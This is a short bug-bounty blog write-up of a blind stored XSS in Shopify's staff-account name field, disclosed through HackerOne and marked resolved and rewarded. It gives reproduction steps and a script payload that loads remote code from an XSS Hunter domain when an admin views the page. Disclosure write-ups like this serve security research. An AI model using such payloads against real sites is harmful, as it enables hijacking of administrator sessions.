(Shopify.com) Blind Stored XSS Via Staff Name $$$$

First, I want to thank **apapedulimu** for allowing me to make my first write up on this blog

I'm **rioncool22**, based on North Sumatera, Indonesia

I want to share to you about my finding in shopify.com (Hackerone Program). I very often do bug searches on the shopify site and submit reports but it always ends with **Informative** and **N/A.** But, one day i read a report from the Hactivity about blind XSS. The payload get executed at unexpected place. After that, I tried it on shopify and the payload got fired in admin panel 😀

Step to reproduce :

1. Go to https://your-store.myshopify.com/admin/settings/account
2. Add Staff Account
3. Fill First & Last Name with this payload "><script>$.getScript("//xsshunterdomain")</script>
4. XSS fired in Admin Panel

Some tips : If you search XSS Bug, Change your payload with XSS Hunter payload, because you will not know where the payload get fired 😀

Timeline :

- **Aug 1 :** Submit Report to Shopify
- **Aug 4 :** First respone from Shopify
- **Aug 5 :** Triaged
- **Aug 6 :** Resolved & Rewarded $$$$
- **Aug 19** : Public Disclosure

Get in touch with me on :

- Hackerone : Click Here
- Twitter : Click Here

Image August 19, 2020 Rio Mulyadi